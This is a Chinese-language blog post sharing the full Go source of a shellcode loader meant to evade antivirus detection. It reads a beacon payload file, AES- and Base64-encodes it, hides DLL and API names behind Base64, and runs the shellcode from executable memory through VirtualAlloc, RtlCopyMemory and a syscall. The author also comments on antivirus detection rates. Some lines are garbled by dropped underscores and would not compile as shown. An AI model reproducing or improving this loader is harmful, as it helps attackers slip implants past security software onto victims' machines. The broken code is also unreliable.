介绍

Go加载shellcode的学习之路……

没有离线的VT平台属实惨,刚学习的免杀,第一次传上去的时候只有4个要杀,然后隔了一天,已经9个要杀了……

既然都这样了,还是就分享到这里吧……

加载器

首先是文件目录结构:

D:.
│  main.go
├─code
│      code.go
├─cry
│      aes.go
│      b64.go
├─file
│      beacon.bin
└─load
        destr.go
        load.go

代码

main.go

主入口,这里将beacon.bin文件内容读取并进行了AES加密处理然后传递给Load进行调用。

package main

import (

	"GoLoder/code"

	"GoLoder/cry"

	"GoLoder/load"

)

// code.WriteFile is AES encode.

func main() {

	file := code.ReadFile("file\\beacon.bin")

	bcode_a := code.WriteFile([]byte(file), "file\\encode.txt")

	// 下面这几个编码,加密的操作我现在回头看也觉得傻逼了,算了就这样。

	// 正常操作应该是 Base64编码 --> AES加密 --> 将加密后的shellcode传入Load --> 在Load中Base64解码 --> 调入内存加载。

	bcode_b := cry.B64Enc(string(bcode_a))

	bcode_c := cry.B64Dec(bcode_b)

	bcode_d,  := cry.AesDeCrypt(bcodec, cry.PwdKey)

	load.Load([]byte(bcode_d))

}

code.go

主要是对shellcode进行前后期的处理。

package code

import (

	"GoLoder/cry"

	"io/ioutil"

)

func ReadFile(str string) []byte {

	// 读取beacon.bin的文件信息并返回,准备进行加密以及编码操作。

	content, _ := ioutil.ReadFile(str)

	return content

}

func WriteFile(aecode []byte, cfile string) []byte {

	// 需要获得beacon.bin加密后的内容,通过aecode传入。

	// 需要提供一个临时存放 beacon.bin 加密后的文件名称,通过cfile传入。

	enc, _ := cry.AesEcrypt(aecode, cry.PwdKey)

	ioutil.WriteFile(cfile, []byte(enc), 0666)

	ecode, _ := ioutil.ReadFile(cfile)

	return ecode

}

aes.go

加密以及编码的文件,aes.go和b64.go 两个文件可以合并的,为了偷懒这里我就合并到一起了。

package cry

import (

	"bytes"

	"crypto/aes"

	"crypto/cipher"

	"errors"

	"encoding/base64"

)

// 加密密钥 可以是16,24,32位,百度的我未测试。

var PwdKey = []byte("h76BhslOpwnJusjiPjsiUhqk")

func PKCS7Padding(ciphertext []byte, blockSize int) []byte {

	padding := blockSize - len(ciphertext)%blockSize

	padtext := bytes.Repeat([]byte{byte(padding)}, padding)

	return append(ciphertext, padtext...)

}

func PKCS7UnPadding(origData []byte) ([]byte, error) {

	length := len(origData)

	if length == 0 {

		return nil, errors.New("err")

	} else {

		unpadding := int(origData[length-1])

		return origData[:(length - unpadding)], nil

	}

}

// 加密

func AesEcrypt(origData []byte, key []byte) ([]byte, error) {

	block, err := aes.NewCipher(key)

	if err != nil {

		return nil, err

	}

	blockSize := block.BlockSize()

	origData = PKCS7Padding(origData, blockSize)

	blocMode := cipher.NewCBCEncrypter(block, key[:blockSize])

	crypted := make([]byte, len(origData))

	blocMode.CryptBlocks(crypted, origData)

	return crypted, nil

}

// 解密

func AesDeCrypt(cypted []byte, key []byte) ([]byte, error) {

	block, err := aes.NewCipher(key)

	if err != nil {

		return nil, err

	}

	blockSize := block.BlockSize()

	blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])

	origData := make([]byte, len(cypted))

	blockMode.CryptBlocks(origData, cypted)

	origData, err = PKCS7UnPadding(origData)

	if err != nil {

		return nil, err

	}

	return origData, err

}

// Base64编码

func B64Enc(Str string) string {

	Enc := base64.StdEncoding.EncodeToString([]byte(Str))

	return Enc

}

// Base64解码

func B64Dec(Str string) []byte {

	Dec, _ := base64.StdEncoding.DecodeString(Str)

	return Dec

}

file目录是存放beacon.bin文件的,属于无阶段式的shellcode,有阶段的,不支持这样,可以自行更改。

load.go

load.go是这主要的加载shellcode的方法。

package load

import (

	"GoLoder/cry"

	"syscall"

	"io/ioutil"

	"os"

	"unsafe"

)

// 考虑到AV平台可能对调用的dll也进行了检测,所以进行了简单的Base64编码,当然AES加密方式也试过,免杀效果也挺一般,

var (

	k32 = syscall.MustLoadDLL(string(cry.B64Dec("a2VybmVsMzIuZGxs"))) // kernel32.dll

	nd  = syscall.MustLoadDLL(string(cry.B64Dec("bnRkbGwuZGxs")))     // ntdll.dll

	va  = k32.MustFindProc(string(cry.B64Dec("VmlydHVhbEFsbG9j")))    // VirtualAlloc

	rm  = nd.MustFindProc(string(cry.B64Dec("UnRsQ29weU1lbW9yeQ=="))) // RtlCopyMemory

)

const (

	MEM_COMMIT             = 0x1000

	MEM_RESERVE            = 0x2000

	PAGE_EXECUTE_READWRITE = 0x40

)

func checkErr(err error) {

	if err != nil {

		if err.Error() != "The operation completed successfully." {

			println(err.Error())

			os.Exit(1)

		}

	}

}

// 将解密后的shellcode传入到Load方法中,并调入内存加载。

func Load(scode []byte) {

	if len(os.Args) > 1 {

		shellcodeFileData, err := ioutil.ReadFile(os.Args[1])

		checkErr(err)

		scode = shellcodeFileData

	}

	addr, , err := va.Call(0, uintptr(len(scode)), MEMCOMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)

	if addr == 0 {

		checkErr(err)

	}

	, , err = rm.Call(addr, (uintptr)(unsafe.Pointer(&scode[0])), uintptr(len(scode)))

	checkErr(err)

	syscall.Syscall(addr, 0, 0, 0, 0)

}

总结

初学,然后就白给人家送样本,太惨了,第一次传上去时候的样子。

然后第二次几乎是同样的文件传上去后的样子。

惨,反正目前思路也就这样了。